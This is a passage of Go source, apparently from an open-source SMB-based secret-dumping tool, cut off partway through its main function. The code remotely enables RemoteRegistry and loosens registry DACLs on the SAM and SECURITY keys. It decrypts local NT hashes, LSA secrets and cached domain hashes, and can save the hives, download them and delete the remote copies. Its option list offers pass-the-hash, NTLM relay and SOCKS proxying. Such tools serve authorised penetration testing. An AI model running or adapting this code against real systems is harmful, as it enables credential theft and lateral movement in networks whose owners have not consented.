OTHER DEALINGS IN THE 21 | // SOFTWARE. 22 | package main 23 | 24 | import ( 25 | "bufio" 26 | "context" 27 | "encoding/hex" 28 | "flag" 29 | "fmt" 30 | "io" 31 | "math/rand" 32 | "net" 33 | "os" 34 | "strconv" 35 | "strings" 36 | "time" 37 | 38 | rundebug "runtime/debug" 39 | 40 | "golang.org/x/net/proxy" 41 | "golang.org/x/term" 42 | 43 | "github.com/jfjallid/go-smb/msdtyp" 44 | "github.com/jfjallid/go-smb/smb" 45 | "github.com/jfjallid/go-smb/smb/dcerpc" 46 | "github.com/jfjallid/go-smb/smb/dcerpc/msrrp" 47 | "github.com/jfjallid/go-smb/smb/dcerpc/msscmr" 48 | "github.com/jfjallid/go-smb/smb/encoder" 49 | "github.com/jfjallid/go-smb/spnego" 50 | "github.com/jfjallid/golog" 51 | ) 52 | 53 | var log = golog.Get("") 54 | var release string = "0.5.2" 55 | 56 | var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ") 57 | 58 | // Local Administrators group SID 59 | var administratorsSID string = "S-1-5-32-544" 60 | 61 | // List of all registry keys changed with the order recorded 62 | var registryKeysModified []string 63 | 64 | // Map with all original security descriptors 65 | var m map[string]*msdtyp.SecurityDescriptor 66 | 67 | var samSecretList = []printableSecret{} 68 | var lsaSecretList = []printableSecret{} 69 | var dcc2SecretList = []printableSecret{} 70 | 71 | var daclBackupFile *os.File 72 | var outputFile *os.File 73 | 74 | type printableSecret interface { 75 | printSecret(io.Writer) 76 | } 77 | 78 | type sam_account struct { 79 | name string 80 | rid uint32 81 | nthash string 82 | } 83 | 84 | func (self *sam_account) printSecret(out io.Writer) { 85 | if outputFile != nil { 86 | fmt.Fprintf(out, "%s:%d:%s\n", self.name, self.rid, self.nthash) 87 | } else { 88 | fmt.Fprintf(out, "Name: %s\n", self.name) 89 | fmt.Fprintf(out, "RID: %d\n", self.rid) 90 | fmt.Fprintf(out, "NT: %s\n\n", self.nthash) 91 | } 92 | } 93 | 94 | type dcc2_cache struct { 95 | domain string 96 | user string 97 | cache string 98 | } 99 | 100 | func (self *dcc2_cache) printSecret(out io.Writer) { 101 | fmt.Fprintln(out, self.cache) 102 | } 103 | 104 | func (self *printableLSASecret) printSecret(out io.Writer) { 105 | fmt.Fprintln(out, self.secretType) 106 | for _, item := range self.secrets { 107 | fmt.Fprintln(out, item) 108 | } 109 | if self.extraSecret != "" { 110 | fmt.Fprintln(out, self.extraSecret) 111 | } 112 | } 113 | 114 | func init() { 115 | rand.Seed(time.Now().UnixNano()) 116 | } 117 | 118 | func getRandString(n int) string { 119 | arr := make([]rune, n) 120 | for i := range arr { 121 | arr[i] = letters[rand.Intn(len(letters))] 122 | } 123 | return string(arr) 124 | } 125 | 126 | func isFlagSet(name string) bool { 127 | found := false 128 | flag.Visit(func(f *flag.Flag) { 129 | if f.Name == name { 130 | found = true 131 | } 132 | }) 133 | return found 134 | } 135 | 136 | func startRemoteRegistry(session *smb.Connection, share string) (started, disabled bool, err error) { 137 | f, err := session.OpenFile(share, "svcctl") 138 | if err != nil { 139 | log.Errorln(err) 140 | return 141 | } 142 | defer f.CloseFile() 143 | 144 | bind, err := dcerpc.Bind(f, msscmr.MSRPCUuidSvcCtl, msscmr.MSRPCSvcCtlMajorVersion, msscmr.MSRPCSvcCtlMinorVersion, dcerpc.MSRPCUuidNdr) 145 | if err != nil { 146 | log.Errorln("Failed to bind to service") 147 | log.Errorln(err) 148 | return 149 | } 150 | rpccon := msscmr.NewRPCCon(bind) 151 | 152 | serviceName := "RemoteRegistry" 153 | 154 | status, err := rpccon.GetServiceStatus(serviceName) 155 | if err != nil { 156 | log.Errorln(err) 157 | return 158 | } else { 159 | if status == msscmr.ServiceRunning { 160 | started = true 161 | disabled = false 162 | return 163 | } 164 | // Check if disabled 165 | config, err := rpccon.GetServiceConfig(serviceName) 166 | if err != nil { 167 | log.Errorf("Failed to get config of %s service with error: %v\n", serviceName, err) 168 | return started, disabled, err 169 | } 170 | if config.StartType == msscmr.StartTypeStatusMap[msscmr.ServiceDisabled] { 171 | disabled = true 172 | // Enable service 173 | err = rpccon.ChangeServiceConfig(serviceName, msscmr.ServiceNoChange, msscmr.ServiceDemandStart, msscmr.ServiceNoChange, "", "", "", "", "", "", 0) 174 | if err != nil { 175 | log.Errorf("Failed to change service config from Disabled to Start on Demand with error: %v\n", err) 176 | return started, disabled, err 177 | } 178 | } 179 | // Start service 180 | err = rpccon.StartService(serviceName, nil) 181 | if err != nil { 182 | log.Errorln(err) 183 | return started, disabled, err 184 | } 185 | time.Sleep(time.Second) 186 | } 187 | return 188 | } 189 | 190 | func stopRemoteRegistry(session *smb.Connection, share string, disable bool) (err error) { 191 | log.Infoln("Trying to restore RemoteRegistry service status") 192 | f, err := session.OpenFile(share, "svcctl") 193 | if err != nil { 194 | log.Errorln(err) 195 | return 196 | } 197 | defer f.CloseFile() 198 | 199 | bind, err := dcerpc.Bind(f, msscmr.MSRPCUuidSvcCtl, msscmr.MSRPCSvcCtlMajorVersion, msscmr.MSRPCSvcCtlMinorVersion, dcerpc.MSRPCUuidNdr) 200 | if err != nil { 201 | log.Errorln("Failed to bind to service") 202 | log.Errorln(err) 203 | return 204 | } 205 | rpccon := msscmr.NewRPCCon(bind) 206 | 207 | serviceName := "RemoteRegistry" 208 | 209 | // Stop service 210 | err = rpccon.ControlService(serviceName, msscmr.ServiceControlStop) 211 | if err != nil { 212 | log.Errorln(err) 213 | return 214 | } 215 | log.Infoln("Service RemoteRegistry stopped") 216 | 217 | if disable { 218 | err = rpccon.ChangeServiceConfig(serviceName, msscmr.ServiceNoChange, msscmr.ServiceDisabled, msscmr.ServiceNoChange, "", "", "", "", "", "", 0) 219 | if err != nil { 220 | log.Errorf("Failed to change service config to Disabled with error: %v\n", err) 221 | return 222 | } 223 | log.Infoln("Service RemoteRegistry disabled") 224 | } 225 | 226 | return 227 | } 228 | 229 | func changeDacl(rpccon *msrrp.RPCCon, base []byte, keys []string, sid string) error { 230 | if m == nil { 231 | m = make(map[string]*msdtyp.SecurityDescriptor) 232 | } 233 | 234 | for _, subkey := range keys { 235 | hSubKey, err := rpccon.OpenSubKey(base, subkey) 236 | if err != nil { 237 | if err == msrrp.ReturnCodeMap[msrrp.ErrorFileNotFound] { 238 | // Skip keys that do not exist 239 | continue 240 | } 241 | log.Errorln(err) 242 | return err 243 | } 244 | //Retrieving security settings 245 | sd, err := rpccon.GetKeySecurity(hSubKey) 246 | if err != nil { 247 | rpccon.CloseKeyHandle(hSubKey) 248 | log.Errorln(err) 249 | return err 250 | } 251 | sdBytes, err := sd.MarshalBinary() 252 | if err != nil { 253 | log.Errorln(err) 254 | return err 255 | } 256 | 257 | sd2 := msdtyp.SecurityDescriptor{ 258 | OwnerSid: &msdtyp.SID{}, 259 | GroupSid: &msdtyp.SID{}, 260 | Sacl: &msdtyp.PACL{}, 261 | Dacl: &msdtyp.PACL{}, 262 | } 263 | err = sd2.UnmarshalBinary(sdBytes) 264 | if err != nil { 265 | log.Errorln(err) 266 | return err 267 | } 268 | // Check if key exists before adding to map. 269 | // Don't want to replace an existing key in case I change the ACL twice 270 | if _, ok := m[subkey]; !ok { 271 | m[subkey] = sd 272 | if daclBackupFile != nil { 273 | // Save new SD file 274 | sdBytes, err := encoder.Marshal(sd) 275 | if err != nil { 276 | log.Errorf("Failed to marshal SecurityDescriptor to bytes with error: %s\n", err) 277 | } else { 278 | sdHexBytes := hex.EncodeToString(sdBytes) 279 | _, err = daclBackupFile.WriteString(fmt.Sprintf("%s:%s\n", subkey, sdHexBytes)) 280 | if err != nil { 281 | log.Errorf("Failed to write DACL to file with error: %s\n", err) 282 | } 283 | } 284 | } 285 | 286 | } 287 | 288 | mask := msrrp.PermWriteDacl | msrrp.PermReadControl | msrrp.PermKeyEnumerateSubKeys | msrrp.PermKeyQueryValue 289 | ace, err := msrrp.NewAce(sid, mask, msdtyp.AccessAllowedAceType, msdtyp.ContainerInheritAce) 290 | if err != nil { 291 | rpccon.CloseKeyHandle(hSubKey) 292 | delete(m, subkey) 293 | log.Errorln(err) 294 | return err 295 | } 296 | // NOTE Can't set owner, group or SACL, since I only have WriteDacl on SAM\SAM 297 | newSd, err := msrrp.NewSecurityDescriptor(sd.Control, nil, nil, msrrp.NewACL(append([]msdtyp.ACE{*ace}, sd.Dacl.ACLS...)), nil) 298 | 299 | log.Infof("Changing Dacl for key: %s\n", subkey) 300 | err = rpccon.SetKeySecurity(hSubKey, newSd) 301 | if err != nil { 302 | rpccon.CloseKeyHandle(hSubKey) 303 | delete(m, subkey) 304 | log.Errorln(err) 305 | return err 306 | } 307 | rpccon.CloseKeyHandle(hSubKey) 308 | } 309 | return nil 310 | } 311 | 312 | func revertDacl(rpccon *msrrp.RPCCon, base []byte, keys []string) error { 313 | if m == nil { 314 | err := fmt.Errorf("The map variable 'm' is not initialized which would indicate that no DACL was changed yet") 315 | log.Errorln(err) 316 | return err 317 | } 318 | 319 | var sd *msdtyp.SecurityDescriptor 320 | var ok bool 321 | for _, subkey := range keys { 322 | if sd, ok = m[subkey]; !ok { 323 | log.Debugf("Trying to restore DACL of registry key %s, but the original DACL hasn't been saved.\nIt is likely that the registry key doesn't even exist\n", subkey) 324 | // Key did not exist so was not added to map 325 | continue 326 | } 327 | hSubKey, err := rpccon.OpenSubKey(base, subkey) 328 | if err != nil { 329 | log.Errorf("Tried to restore DACL of registry key %s, but failed to open registry key with error: %s\n", err) 330 | continue // Try to change as many keys as possible 331 | } 332 | 333 | sd.Control &^= msdtyp.SecurityDescriptorFlagSP 334 | sd.OffsetSacl = 0 335 | sd.OwnerSid = nil 336 | sd.GroupSid = nil 337 | sd.OffsetOwner = 0 338 | sd.OffsetGroup = 0 339 | 340 | err = rpccon.SetKeySecurity(hSubKey, sd) 341 | if err != nil { 342 | log.Errorln(err) 343 | rpccon.CloseKeyHandle(hSubKey) 344 | continue 345 | } 346 | log.Infof("Reverted Dacl for key: %s\n", subkey) 347 | rpccon.CloseKeyHandle(hSubKey) 348 | } 349 | return nil 350 | } 351 | 352 | func restoreDaclFromBackup(rpccon *msrrp.RPCCon, hKey []byte) error { 353 | daclMap := make(map[string]*msdtyp.SecurityDescriptor) 354 | keys := []string{} 355 | 356 | if daclBackupFile == nil { 357 | err := fmt.Errorf("Something went wrong with restoring DACLs from file. Backup file handle is nil") 358 | log.Errorln(err) 359 | return err 360 | } 361 | scanner := bufio.NewScanner(daclBackupFile) 362 | for scanner.Scan() { 363 | sd := msdtyp.SecurityDescriptor{ 364 | OwnerSid: &msdtyp.SID{}, 365 | GroupSid: &msdtyp.SID{}, 366 | Sacl: &msdtyp.PACL{}, 367 | Dacl: &msdtyp.PACL{}, 368 | } 369 | line := scanner.Text() 370 | parts := strings.Split(line, ":") 371 | if len(parts) != 2 { 372 | err := fmt.Errorf("Expected lines to be of the format 'regkey:hexstring', but failed to parse string") 373 | log.Errorln(err) 374 | return err 375 | } 376 | sdBytes, err := hex.DecodeString(parts[1]) 377 | if err != nil { 378 | log.Errorf("Failed to hex decode security descriptor bytes with error: %s\n", err) 379 | return err 380 | } 381 | err = sd.UnmarshalBinary(sdBytes) 382 | if err != nil { 383 | log.Errorf("Failed to unmarshal security descriptor bytes with error: %s\n", err) 384 | return err 385 | } 386 | daclMap[parts[0]] = &sd 387 | keys = append(keys, parts[0]) 388 | } 389 | if err := scanner.Err(); err != nil { 390 | log.Errorln(err) 391 | return err 392 | } 393 | 394 | m = daclMap 395 | 396 | return tryRollbackChanges(rpccon, hKey, keys) 397 | } 398 | 399 | func tryRollbackChanges(rpccon *msrrp.RPCCon, hKey []byte, keys []string) error { 400 | if len(keys) == 0 { 401 | return nil 402 | } 403 | log.Infoln("Attempting to restore security descriptors") 404 | // Rollback changes in reverse order 405 | for i, j := 0, len(keys)-1; i < j; i, j = i+1, j-1 { 406 | keys[i], keys[j] = keys[j], keys[i] 407 | } 408 | err := revertDacl(rpccon, hKey, keys) 409 | if err != nil { 410 | log.Errorln(err) 411 | return err 412 | } 413 | return nil 414 | } 415 | 416 | func addToListIfNotExit(list *[]string, keys []string) []string { 417 | newKeys := []string{} 418 | OuterLoop: 419 | for _, key := range keys { 420 | for _, k := range *list { 421 | if key == k { 422 | continue OuterLoop 423 | } 424 | } 425 | // Key was not already added to the list 426 | newKeys = append(newKeys, key) 427 | } 428 | // Add only if they do not already exist 429 | *list = append(*list, newKeys...) 430 | return newKeys 431 | } 432 | 433 | func dumpSAM(rpccon *msrrp.RPCCon, hKey []byte, modifyDacl bool) (err error) { 434 | 435 | keys := []string{ 436 | `SAM\SAM`, 437 | `SAM\SAM\Domains`, 438 | `SAM\SAM\Domains\Account`, 439 | `SAM\SAM\Domains\Account\Users`, 440 | } 441 | if modifyDacl { 442 | registryKeysModified = append(registryKeysModified, keys...) 443 | // Grant temporarily higher permissions to the local administrators group 444 | err = changeDacl(rpccon, hKey, keys, administratorsSID) 445 | if err != nil { 446 | log.Errorln(err) 447 | return 448 | } 449 | } 450 | 451 | // Get RIDs of local users 452 | keyUsers := `SAM\SAM\Domains\Account\Users` 453 | var rids []string 454 | if modifyDacl { 455 | rids, err = rpccon.GetSubKeyNames(hKey, keyUsers) 456 | } else { 457 | rids, err = rpccon.GetSubKeyNamesExt(hKey, keyUsers, msrrp.RegOptionBackupRestore, msrrp.PermMaximumAllowed) 458 | } 459 | if err != nil { 460 | log.Errorln(err) 461 | return err 462 | } 463 | 464 | rids = rids[:len(rids)-1] 465 | for i := range rids { 466 | rids[i] = fmt.Sprintf("%s\\%s", keyUsers, rids[i]) 467 | } 468 | 469 | if modifyDacl { 470 | // Extend the list of keys that have temporarily altered permissions 471 | registryKeysModified = append(registryKeysModified, rids...) 472 | // Grant temporarily higher permissions to the local administrators group 473 | err = changeDacl(rpccon, hKey, rids, administratorsSID) 474 | if err != nil { 475 | log.Errorln(err) 476 | return err 477 | } 478 | } 479 | 480 | syskey, err := getSysKey(rpccon, hKey, modifyDacl) 481 | if err != nil { 482 | log.Errorln(err) 483 | return err 484 | } 485 | 486 | // Gather credentials/secrets 487 | creds, err := getNTHash(rpccon, hKey, rids, modifyDacl) 488 | if err != nil { 489 | log.Errorln(err) 490 | // Try to get other secrets instead of hard fail 491 | } else { 492 | //TODO Rewrite handling of creds to not print to stdout until the end 493 | // Would be nice to be able to choose writing output to file, or somewhere else 494 | for _, cred := range creds { 495 | acc := sam_account{name: cred.Username, rid: cred.RID} 496 | //fmt.Printf("Name: %s\n", cred.Username) 497 | //fmt.Printf("RID: %d\n", cred.RID) 498 | if len(cred.Data) == 0 { 499 | //fmt.Printf("NT: \n\n") 500 | acc.nthash = "" 501 | samSecretList = append(samSecretList, &acc) 502 | continue 503 | } 504 | var hash []byte 505 | if cred.AES { 506 | hash, err = DecryptAESHash(cred.Data, cred.IV, syskey, cred.RID) 507 | } else { 508 | hash, err = DecryptRC4Hash(cred.Data, syskey, cred.RID) 509 | } 510 | acc.nthash = fmt.Sprintf("%x", hash) 511 | samSecretList = append(samSecretList, &acc) 512 | //fmt.Printf("NT: %x\n\n", hash) 513 | } 514 | } 515 | 516 | return nil 517 | } 518 | 519 | func dumpLSASecrets(rpccon *msrrp.RPCCon, hKey []byte, modifyDacl bool) (err error) { 520 | keys := []string{ 521 | `SECURITY\Policy\Secrets`, 522 | `SECURITY\Policy\Secrets\NL$KM`, 523 | `SECURITY\Policy\Secrets\NL$KM\CurrVal`, 524 | `SECURITY\Policy\PolEKList`, 525 | `SECURITY\Policy\PolSecretEncryptionKey`, 526 | } 527 | 528 | if modifyDacl { 529 | registryKeysModified = append(registryKeysModified, keys...) 530 | 531 | // Grant temporarily higher permissions to the local administrators group 532 | err := changeDacl(rpccon, hKey, keys, administratorsSID) 533 | if err != nil { 534 | log.Errorln(err) 535 | return err 536 | } 537 | } 538 | 539 | // Get names of lsa secrets 540 | keySecrets := `SECURITY\Policy\Secrets` 541 | var secrets []string 542 | if modifyDacl { 543 | secrets, err = rpccon.GetSubKeyNames(hKey, keySecrets) 544 | } else { 545 | secrets, err = rpccon.GetSubKeyNamesExt(hKey, keySecrets, msrrp.RegOptionBackupRestore, msrrp.PermMaximumAllowed) 546 | } 547 | if err != nil { 548 | log.Errorln(err) 549 | return err 550 | } 551 | 552 | if modifyDacl { 553 | newSecrets := make([]string, 0, len(secrets)*2) 554 | for i := range secrets { 555 | newSecrets = append(newSecrets, fmt.Sprintf("%s\\%s", keySecrets, secrets[i])) 556 | newSecrets = append(newSecrets, fmt.Sprintf("%s\\%s\\%s", keySecrets, secrets[i], "CurrVal")) 557 | } 558 | 559 | newKeys := addToListIfNotExit(®istryKeysModified, newSecrets) 560 | err = changeDacl(rpccon, hKey, newKeys, administratorsSID) 561 | if err != nil { 562 | log.Errorln(err) 563 | return err 564 | } 565 | } 566 | 567 | lsaSecrets, err := GetLSASecrets(rpccon, hKey, false, modifyDacl) 568 | if err != nil { 569 | log.Noticeln("Failed to get lsa secrets") 570 | log.Errorln(err) 571 | return err 572 | } 573 | for i := range lsaSecrets { 574 | lsaSecretList = append(lsaSecretList, &lsaSecrets[i]) 575 | } 576 | 577 | //if len(lsaSecrets) > 0 { 578 | // fmt.Println("[*] LSA Secrets:") 579 | // for _, secret := range lsaSecrets { 580 | // fmt.Println(secret.secretType) 581 | // for _, item := range secret.secrets { 582 | // fmt.Println(item) 583 | // } 584 | // if secret.extraSecret != "" { 585 | // fmt.Println(secret.extraSecret) 586 | // } 587 | // } 588 | //} 589 | 590 | return nil 591 | } 592 | 593 | func dumpDCC2Cache(rpccon *msrrp.RPCCon, hKey []byte, modifyDacl bool) error { 594 | keys := []string{ 595 | `SECURITY\Policy\Secrets`, 596 | `SECURITY\Policy\Secrets\NL$KM`, 597 | `SECURITY\Policy\Secrets\NL$KM\CurrVal`, 598 | `SECURITY\Policy\PolEKList`, 599 | `SECURITY\Policy\PolSecretEncryptionKey`, 600 | `SECURITY\Cache`, 601 | } 602 | 603 | if modifyDacl { 604 | newKeys := addToListIfNotExit(®istryKeysModified, keys) 605 | // Grant temporarily higher permissions to the local administrators group 606 | err := changeDacl(rpccon, hKey, newKeys, administratorsSID) 607 | if err != nil { 608 | log.Errorln(err) 609 | return err 610 | } 611 | } 612 | 613 | cachedHashes, err := GetCachedHashes(rpccon, hKey, modifyDacl) 614 | if err != nil { 615 | log.Errorln(err) 616 | return err 617 | } 618 | 619 | for _, hash := range cachedHashes { 620 | userdomain := strings.Split(hash, ":")[0] 621 | parts := strings.Split(userdomain, "/") 622 | dcc2SecretList = append(dcc2SecretList, &dcc2_cache{domain: parts[0], user: parts[1], cache: hash}) 623 | } 624 | 625 | //if len(cachedHashes) > 0 { 626 | // //fmt.Println("[*] Dumping cached domain logon information (domain/username:hash)") 627 | // for _, secret := range cachedHashes { 628 | // userdomain := strings.Split(secret, ":")[0] 629 | // parts := strings.Split(userdomain, "/") 630 | // _ = dcc2_cache{ 631 | // domain: parts[0], 632 | // user: parts[1], 633 | // cache: secret, 634 | // } 635 | // } 636 | //} 637 | 638 | return nil 639 | } 640 | 641 | func downloadAndDeleteFile(session *smb.Connection, localFilename, remotePath string) (err error) { 642 | // Convert to valid remote path 643 | parts := strings.Split(remotePath, ":\\") 644 | if len(parts) > 1 { 645 | remotePath = parts[1] 646 | } 647 | 648 | f, err := os.OpenFile(localFilename, os.O_CREATE|os.O_TRUNC|os.O_RDWR, 0600) 649 | if err != nil { 650 | log.Errorln(err) 651 | return 652 | } 653 | defer f.Close() 654 | 655 | // Call library function to retrieve the file 656 | log.Infof("Trying to download remote file C:\\%s\n", remotePath) 657 | err = session.RetrieveFile("C$", remotePath, 0, f.Write) 658 | if err != nil { 659 | log.Errorf("Failed to retrieve remote file C:\\%s with error: %s\n", remotePath, err) 660 | } else { 661 | log.Infof("Successfully downloaded %s\n", remotePath) 662 | } 663 | 664 | // Remove the remote files 665 | log.Infof("Trying to delete remote file C:\\%s\n", remotePath) 666 | err = session.DeleteFile("C$", remotePath) 667 | if err != nil { 668 | log.Errorf("Failed to delete remote file C:\\%s with error: %s\n", remotePath, err) 669 | return 670 | } else { 671 | log.Infof("Successfully deleted remote file C:\\%s\n", remotePath) 672 | } 673 | 674 | return 675 | } 676 | 677 | func dumpOffline(session *smb.Connection, rpccon *msrrp.RPCCon, hKey []byte, dst string) (err error) { 678 | 679 | log.Infoln("Attempting to dump SAM and SECURITY hives to disk and then retrieve the files for local parsing using some other tool") 680 | windowsPath := strings.ReplaceAll(dst, "/", "\\") 681 | // Ensure the path ends with a backslash 682 | if !strings.HasSuffix(windowsPath, "\\") { 683 | windowsPath += "\\" 684 | } 685 | samPath := windowsPath + getRandString(7) + ".log" 686 | securityPath := windowsPath + getRandString(7) + ".log" 687 | 688 | // Dump SAM 689 | // Open a key handle 690 | hSubKey, err := rpccon.OpenSubKey(hKey, "SAM") 691 | if err != nil { 692 | log.Errorln(err) 693 | return 694 | } 695 | err = rpccon.RegSaveKey(hSubKey, samPath, "") 696 | if err != nil { 697 | log.Errorln(err) 698 | rpccon.CloseKeyHandle(hSubKey) 699 | return 700 | } 701 | rpccon.CloseKeyHandle(hSubKey) 702 | log.Infof("Dumped SAM hive to %s\n", samPath) 703 | 704 | // Retrieve the file 705 | err = downloadAndDeleteFile(session, "sam.dmp", samPath) 706 | if err != nil { 707 | log.Errorln(err) 708 | return 709 | } 710 | 711 | // Dump SECURITY 712 | // Open a key handle 713 | hSubKey, err = rpccon.OpenSubKey(hKey, "SECURITY") 714 | if err != nil { 715 | log.Errorln(err) 716 | return 717 | } 718 | err = rpccon.RegSaveKey(hSubKey, securityPath, "") 719 | if err != nil { 720 | log.Errorln(err) 721 | rpccon.CloseKeyHandle(hSubKey) 722 | return 723 | } 724 | rpccon.CloseKeyHandle(hSubKey) 725 | log.Infof("Dumped SECURITY hive to %s\n", securityPath) 726 | 727 | // Retrieve the file 728 | err = downloadAndDeleteFile(session, "security.dmp", securityPath) 729 | if err != nil { 730 | log.Errorln(err) 731 | return 732 | } 733 | 734 | // Dump the bootkey 735 | bootkey, err := getBootKey(rpccon, hKey) 736 | if err != nil { 737 | log.Errorf("Failed to extract the Bootkey from the SYSTEM hive with error: %s\n", err) 738 | return 739 | } 740 | 741 | fmt.Println("Downloaded SAM and SECURITY hives to local files sam.dmp and security.dmp") 742 | fmt.Printf("Bootkey for decrypting SAM and SECURITY hives: %x\n", bootkey) 743 | 744 | return nil 745 | } 746 | 747 | var helpMsg = ` 748 | Usage: ` + os.Args[0] + ` [options] 749 | 750 | options: 751 | --host Hostname or ip address of remote server. Must be hostname when using Kerberos 752 | -P, --port SMB Port (default 445) 753 | -d, --domain Domain name to use for login 754 | -u, --user Username 755 | -p, --pass Password 756 | -n, --no-pass Disable password prompt and send no credentials 757 | --hash Hex encoded NT Hash for user password 758 | --local Authenticate as a local user instead of domain user 759 | -k, --kerberos Use Kerberos authentication. (KRB5CCNAME will be checked on Linux) 760 | --dc-ip Optionally specify ip of KDC when using Kerberos authentication 761 | --target-ip Optionally specify ip of target when using Kerberos authentication 762 | --aes-key Use a hex encoded AES128/256 key for Kerberos authentication 763 | --dns-host Override system's default DNS resolver 764 | --dns-tcp Force DNS lookups over TCP. Default true when using --socks-host 765 | --dump Saves the SAM and SECURITY hives to disk and 766 | transfers them to the local machine. 767 | --sam Extract secrets from the SAM hive explicitly. Only other explicit targets are included. 768 | --lsa Extract LSA secrets explicitly. Only other explicit targets are included. 769 | --dcc2 Extract DCC2 caches explicitly. Only other explicit targets are included. 770 | --modify-dacl Change DACLs of reg keys before dump. 771 | Only required if keys cannot be opened using SeBackupPrivilege. (default false) 772 | --backup-dacl Save original DACLs to disk before modification 773 | --restore-dacl Restore DACLs using disk backup. Could be useful if automated restore fails. 774 | --backup-file Filename for DACL backup (default dacl.backup) 775 | --relay Start an SMB listener that will relay incoming 776 | NTLM authentications to the remote server and 777 | use that connection. NOTE that this forces SMB 2.1 778 | without encryption. 779 | --relay-port Listening port for relay (default 445) 780 | --socks-host Establish connection via a SOCKS5 proxy server 781 | --socks-port SOCKS5 proxy port (default 1080) 782 | -t, --timeout Dial timeout in format 5s or 2m (default 5s) 783 | --noenc Disable smb encryption 784 | --smb2 Force smb 2.1 785 | --debug Enable debug logging 786 | --verbose Enable verbose logging 787 | -o, --output Filename for writing results (default is stdout). Will append to file if it exists. 788 | -v, --version Show version 789 | ` 790 | 791 | func main() { 792 | var host, username, password, hash, domain, socksHost, backupFilename, outputFilename, targetIP, dcIP, aesKey, dnsHost string 793 | var port, socksPort, relayPort int 794 | var debug, noEnc, forceSMB2, localUser, dump, version, verbose, relay, noPass, sam, lsaSecrets, dcc2, modifyDacl, backupDacl, restoreDacl, kerberos, dnsTCP bool 795 | var dialTimeout time.Duration 796 | var err error 797 | 798 | flag.Usage = func() { 799 | fmt.Println(helpMsg) 800 | os.Exit(0) 801 | } 802 | 803 | flag.StringVar(&host, "host", "", "") 804 | flag.StringVar(&username, "u", "", "") 805 | flag.StringVar(&username, "user", "", "") 806 | flag.StringVar(&password, "p", "", "") 807 | flag.StringVar(&password, "pass", "", "") 808 | flag.StringVar(&hash, "hash", "", "") 809 | flag.StringVar(&domain, "d", "", "") 810 | flag.StringVar(&domain, "domain", "", "") 811 | flag.IntVar(&port, "P", 445, "") 812 | flag.IntVar(&port, "port", 445, "") 813 | flag.BoolVar(&debug, "debug", false, "") 814 | flag.BoolVar(&verbose, "verbose", false, "") 815 | flag.BoolVar(&noEnc, "noenc", false, "") 816 | flag.BoolVar(&forceSMB2, "smb2", false, "") 817 | flag.BoolVar(&localUser, "local", false, "") 818 | flag.BoolVar(&dump, "dump", false, "") 819 | flag.DurationVar(&dialTimeout, "t", time.Second*5, "") 820 | flag.DurationVar(&dialTimeout, "timeout", time.Second*5, "") 821 | flag.BoolVar(&version, "v", false, "") 822 | flag.BoolVar(&version, "version", false, "") 823 | flag.BoolVar(&relay, "relay", false, "") 824 | flag.IntVar(&relayPort, "relay-port", 445, "") 825 | flag.StringVar(&socksHost, "socks-host", "", "") 826 | flag.IntVar(&socksPort, "socks-port", 1080, "") 827 | flag.BoolVar(&noPass, "no-pass", false, "") 828 | flag.BoolVar(&noPass, "n", false, "") 829 | flag.BoolVar(&sam, "sam", false, "") 830 | flag.BoolVar(&lsaSecrets, "lsa", false, "") 831 | flag.BoolVar(&dcc2, "dcc2", false, "") 832 | flag.BoolVar(&modifyDacl, "modify-dacl", false, "") 833 | flag.BoolVar(&backupDacl, "backup-dacl", false, "") 834 | flag.BoolVar(&restoreDacl, "restore-dacl", false, "") 835 | flag.StringVar(&backupFilename, "backup-file", "dacl.backup", "") 836 | flag.StringVar(&outputFilename, "o", "", "") 837 | flag.StringVar(&outputFilename, "output", "", "") 838 | flag.BoolVar(&kerberos, "k", false, "") 839 | flag.BoolVar(&kerberos, "kerberos", false, "") 840 | flag.StringVar(&targetIP, "target-ip", "", "") 841 | flag.StringVar(&dcIP, "dc-ip", "", "") 842 | flag.StringVar(&aesKey, "aes-key", "", "") 843 | flag.StringVar(&dnsHost, "dns-host", "", "") 844 | flag.BoolVar(&dnsTCP, "dns-tcp", false, "") 845 | 846 | flag.Parse() 847 | 848 | if debug { 849 | golog.Set("github.com/jfjallid/go-smb/smb", "smb", golog.LevelDebug, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 850 | golog.Set("github.com/jfjallid/go-smb/spnego", "spnego", golog.LevelDebug, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 851 | golog.Set("github.com/jfjallid/go-smb/gss", "gss", golog.LevelDebug, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 852 | golog.Set("github.com/jfjallid/go-smb/smb/dcerpc", "dcerpc", golog.LevelDebug, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 853 | golog.Set("github.com/jfjallid/go-smb/smb/dcerpc/msrrp", "msrrp", golog.LevelDebug, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 854 | golog.Set("github.com/jfjallid/go-smb/smb/dcerpc/msscmr", "msscmr", golog.LevelDebug, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 855 | golog.Set("github.com/jfjallid/go-smb/krb5ssp", "krb5ssp", golog.LevelDebug, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 856 | log.SetFlags(golog.LstdFlags | golog.Lshortfile) 857 | log.SetLogLevel(golog.LevelDebug) 858 | } else if verbose { 859 | golog.Set("github.com/jfjallid/go-smb/smb", "smb", golog.LevelInfo, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 860 | golog.Set("github.com/jfjallid/go-smb/spnego", "spnego", golog.LevelInfo, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 861 | golog.Set("github.com/jfjallid/go-smb/gss", "gss", golog.LevelInfo, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 862 | golog.Set("github.com/jfjallid/go-smb/smb/dcerpc", "dcerpc", golog.LevelInfo, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 863 | golog.Set("github.com/jfjallid/go-smb/smb/dcerpc/msrrp", "msrrp", golog.LevelInfo, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 864 | golog.Set("github.com/jfjallid/go-smb/smb/dcerpc/msscmr", "msscmr", golog.LevelInfo, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 